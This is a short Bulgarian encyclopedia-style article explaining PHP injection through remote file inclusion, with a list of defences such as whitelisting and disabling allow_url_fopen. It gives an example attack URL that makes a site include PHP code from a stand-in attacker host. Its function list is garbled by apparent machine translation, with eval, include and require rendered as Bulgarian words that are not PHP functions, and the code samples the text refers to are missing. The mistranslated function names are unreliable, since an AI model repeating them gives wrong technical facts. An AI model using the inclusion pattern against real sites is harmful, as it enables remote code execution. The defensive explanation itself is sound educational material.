PHP инжекция

PHP-инжекция(англ. PHP injection ) е един от начините за хакване на уебсайтове, работещи на PHP, който се състои в изпълнение на външен код от страна на сървъра. Потенциално опасни функции са:

  • оценка (),
  • preg_replace() (с модификатор "e"),
  • require_once(),
  • include_once(),
  • включвам(),
  • изисквам(),
  • create_function().

PHP инжектирането става възможно, ако входните параметри се приемат и използват без валидиране.

Съдържание

Този скрипт е уязвим, защото ".php" просто се добавя към съдържанието на променливата $module и файлът се свързва към получения път.

Хакер може да създаде файл на сайта си, съдържащ PHP код ( http://hackersite.com/inc.php ), и да отиде на сайта, като използва връзка като http://mysite.com/index.php?module=http://hackersite.com/inc и да изпълни всякакви PHP команди.

Има няколко начина за защита срещу такава атака:

  • Проверете дали променливата $module съдържа странични знаци:

  • Проверете дали $module е зададен на една от разрешените стойности:

Този метод е по-ефективен, красив и чист.

  • Запишете всяка стойност чрез if

  • Използвайте израз за превключване:

Това решение е подобно на решението if, но има по-компактна нотация.

PHP също така предоставя възможност за деактивиране на използването на отдалечени файлове чрез промяна на опцията allow_url_fopen на Off в конфигурационния файл на сървъра php.ini.